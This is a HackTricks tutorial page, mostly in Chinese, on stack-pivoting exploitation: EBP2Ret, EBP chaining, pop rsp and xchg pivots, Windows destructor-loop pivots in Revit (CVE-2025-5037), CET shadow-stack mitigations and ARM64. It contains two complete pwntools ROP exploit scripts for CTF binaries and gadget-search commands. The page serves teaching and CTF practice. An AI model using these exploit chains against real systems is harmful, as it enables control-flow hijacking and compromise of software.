Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 18 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

此技术利用操纵 Base Pointer (EBP/RBP) 的能力,通过对 frame pointer 和 leave; ret 指令序列的精确使用,将多个函数的执行串联起来。

提醒一下,在 x86/x86-64 上 leave 等价于:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

And as the saved EBP/RBP is in the stack before the saved EIP/RIP, it's possible to control it by controlling the stack.

Notes

  • On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
  • Some compilers omit the frame pointer (see “EBP might not be used”). In that case, leave might not appear and this technique won’t work.

EBP2Ret

当你可以修改已保存的 EBP/RBP 但无法直接修改 EIP/RIP时,这个技术尤其有用。它利用了函数结尾(epilogue)的行为。

如果在 fvuln 执行期间,你设法在 stack 中注入一个指向内存中放有你的 shellcode/ROP chain 地址的假 EBP(再加上用于 pop 的偏移:amd64 上为 8 字节 / x86 上为 4 字节),你就可以间接控制 RIP。随着函数返回,leave 会把 RSP 设为构造的位置,随后 pop rbp 会减少 RSP,实际上使其指向攻击者在该处存放的一个地址。然后 ret 会使用该地址。

注意你需要知道两个地址:ESP/RSP 将要去的地址,以及 ret 将消费、存储在该地址处的值。

Exploit Construction

首先你需要知道一个可以写入任意数据/地址的地址。RSP 会指向这里并消费第一个 ret

然后,你需要选择 ret 将要使用的地址以转移执行流。你可以使用:

  • 一个有效的 ONE_GADGET 地址。
  • system() 的地址,后面跟上适当的返回和参数(在 x86 上:ret 目标 = &system,然后 4 字节垃圾,再然后 &"/bin/sh")。
  • 一个 jmp esp; gadget 的地址(ret2esp)后面跟内联 shellcode。
  • 一个放在可写内存中的 ROP 链。

记住在受控区域中这些地址之前,必须有leavepop ebp/rbp 留出的空间(amd64 上为 8B,x86 上为 4B)。你可以利用这些字节设置第二个假 EBP,从而在第一次调用返回后继续保持控制。

Off-By-One Exploit

有一种变体用于你只能修改已保存 EBP/RBP 的最低有效字节的情况。在这种情况下,存放要被 ret 跳转到的地址的内存位置必须与原始 EBP/RBP 在前面三个/五个字节上相同,这样一次 1 字节的覆盖才能重定向它。通常会把低字节(偏移 0x00)增加,以尽可能跳到附近页面/对齐区域的更远处。

通常也会在 stack 上使用 RET sled,并把真实的 ROP chain 放在末尾,以增加新的 RSP 指向 sled 内部并最终执行 ROP 链的概率。

EBP Chaining

通过在 stack 的已保存 EBP 插槽放入一个受控地址,并在 EIP/RIP 放置一个 leave; ret gadget,可以ESP/RSP 移动到攻击者可控的地址

现在 RSP 受控,下一条指令是 ret。在受控内存中放入类似下面的内容:

  • &(next fake EBP) -> 由 leavepop ebp/rbp 加载。
  • &system() -> 由 ret 调用。
  • &(leave;ret) -> 在 system 结束后,将 RSP 移动到下一个假 EBP 并继续执行。
  • &("/bin/sh") -> 作为 system 的参数。

通过这种方式可以串联多个假 EBP 来控制程序的控制流。

这类似于 ret2lib,但更复杂且仅在边缘情况下有用。

此外,这里有一个使用该技术并结合 stack leak 来调用胜利函数的 challenge 示例。以下是该页面的最终 payload:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 对齐提示:System V ABI 要求在调用点对栈进行 16 字节对齐。如果你的链调用诸如 system 之类的函数,请在调用之前添加对齐 gadget(例如 ret,或 sub rsp, 8 ; ret)以保持对齐并避免 movaps 崩溃。

EBP 可能不会被使用

在这篇帖子中解释,如果二进制在启用某些优化或省略帧指针的情况下编译,EBP/RBP 永远不会控制 ESP/RSP。因此,任何通过控制 EBP/RBP 来实现的利用都会失败,因为 prologue/epilogue 不会从帧指针恢复。

  • 未优化 / 使用帧指针:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • 已优化 / 省略帧指针:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

在 amd64 上,你经常会看到 pop rbp ; ret 而不是 leave ; ret,但如果完全省略了帧指针,则不存在可通过的基于 rbp 的 epilogue 来进行 pivot。

控制 RSP 的其他方法

pop rsp gadget

在此页面 你可以找到使用该技术的示例。对于那个挑战,需要调用一个带有 2 个特定参数的函数,并且存在一个 pop rsp gadget,同时有来自 stack 的 leak

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

查看 ret2esp 技术:

Ret2esp / Ret2reg

快速查找 pivot gadgets

使用你喜欢的 gadget finder 来搜索经典的 pivot primitives:

  • leave ; ret on functions or in libraries
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (or add esp, <imm> ; ret on x86)

示例:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

经典 pivot staging pattern

一种在许多 CTF/exp 中常用的稳健 pivot 策略:

  1. 使用一个小的初始 overflow 调用 read/recv 将数据写入一个大的可写区域(例如 .bss、heap 或映射的 RW 内存),并在那放置完整的 ROP chain。
  2. 返回到一个 pivot gadget(leave ; retpop rspxchg rax, rsp ; ret)以将 RSP 移到该区域。
  3. 继续执行分阶段的链(例如:leak libc,调用 mprotect,然后 read shellcode,最后跳转到它)。

Windows: Destructor-loop weird-machine pivots (Revit RFA case study)

客户端解析器有时会实现析构循环(destructor loops),该循环会间接调用从攻击者可控对象字段派生的函数指针。如果每次迭代恰好提供一次间接调用(一个 “one-gadget” machine),你可以将其转换为可靠的 stack pivot 和 ROP 入口。

在 Autodesk Revit RFA 反序列化中观察到(CVE-2025-5037):

  • 类型为 AString 的伪造对象会在偏移 0 处放置一个指向攻击者字节的指针。
  • 该 destructor loop 实际上对每个对象执行一个 gadget:
asm
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Two practical pivots:

  • Windows 10 (32-bit heap addrs): 未对齐的 “monster gadget”,包含 8B E0mov esp, eax,最终 ret,用于从 call primitive pivot 到基于 heap 的 ROP chain。
  • Windows 11 (full 64-bit addrs): 使用两个对象来驱动一个受限的 weird-machine pivot:
    • Gadget 1: push rax ; pop rbp ; ret(将原始 rax 移入 rbp)
    • Gadget 2: leave ; ... ; ret(变为 mov rsp, rbp ; pop rbp ; ret),pivot 到第一个对象的缓冲区,在那里跟随常规的 ROP chain。

Tips for Windows x64 after the pivot:

  • Respect the 0x20-byte shadow space and maintain 16-byte alignment before call sites。通常把字面量放在返回地址之上并使用像 lea rcx, [rsp+0x20] ; call rax 这样的 gadget,随后用 pop rax ; ret 来在不破坏控制流的情况下传递栈地址,会很方便。
  • Non-ASLR helper modules(如果存在)提供稳定的 gadget 池和 imports,比如 LoadLibraryW/GetProcAddress,可用于动态解析诸如 ucrtbase!system 的目标。
  • Creating missing gadgets via a writable thunk:如果一个有前景的序列以通过可写函数指针的 call 结尾(例如 DLL import thunk 或 .data 中的函数指针),可以将该指针覆写为一个良性的单步指令如 pop rax ; ret。该序列随后表现得像以 ret 结尾(例如 mov rdx, rsi ; mov rcx, rdi ; ret),这对于在不破坏其他寄存器的情况下加载 Windows x64 参数寄存器非常有价值。

For full chain construction and gadget examples, see the reference below.

Modern mitigations that break stack pivoting (CET/Shadow Stack)

Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK)。在启用 SHSTK 时,ret 会将普通栈上的返回地址与硬件保护的 shadow stack 上的地址进行比较;任何不匹配都会引发 Control-Protection fault 并终止进程。因此,像 EBP2Ret/leave;ret-based pivots 之类的技术一旦从 pivoted 栈上执行第一个 ret 就会崩溃。

  • For background and deeper details see:

CET & Shadow Stack

  • Quick checks on Linux:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Notes for labs/CTF:

  • 一些现代发行版在硬件和 glibc 支持存在时会为 CET-enabled 二进制启用 SHSTK。对于在 VM 中受控测试,可以通过内核引导参数 nousershstk 在系统范围内禁用 SHSTK,或在启动时通过 glibc tunables 有选择地启用(参见 references)。不要在生产目标上禁用缓解措施。

  • 基于 JOP/COOP 或 SROP 的技术在某些目标上可能仍然可行,但 SHSTK 会专门破坏基于 ret 的 pivot。

  • Windows note: Windows 10+ 暴露了 user-mode,Windows 11 在此基础上为 kernel-mode 添加了基于 shadow stacks 的 “Hardware-enforced Stack Protection”。兼容 CET 的进程会在 ret 处阻止 stack pivoting/ROP;开发者需通过 CETCOMPAT 及相关策略选择性启用(参见 reference)。

ARM64

在 ARM64 中,函数的 prologue and epilogues 并不在栈上存储和恢复 SP 寄存器。此外,RET 指令并不会返回到由 SP 指向的地址,而是返回到 存于 x30 内的地址

因此,默认情况下,仅滥用 epilogue 是无法通过覆盖栈中的某些数据来 控制 SP 寄存器 的。即便你设法控制了 SP,仍然需要一种方式来 控制 x30 寄存器。

  • prologue
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

在 ARM64 中执行类似 stack pivoting 的方法,是能够 控制 SP(通过控制某个其值被赋给 SP 的寄存器,或者因为某种原因 SP 从栈中取地址并且我们有溢出),然后 滥用 epilogue 从受控的 SP 加载 x30 并对其执行 RET

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks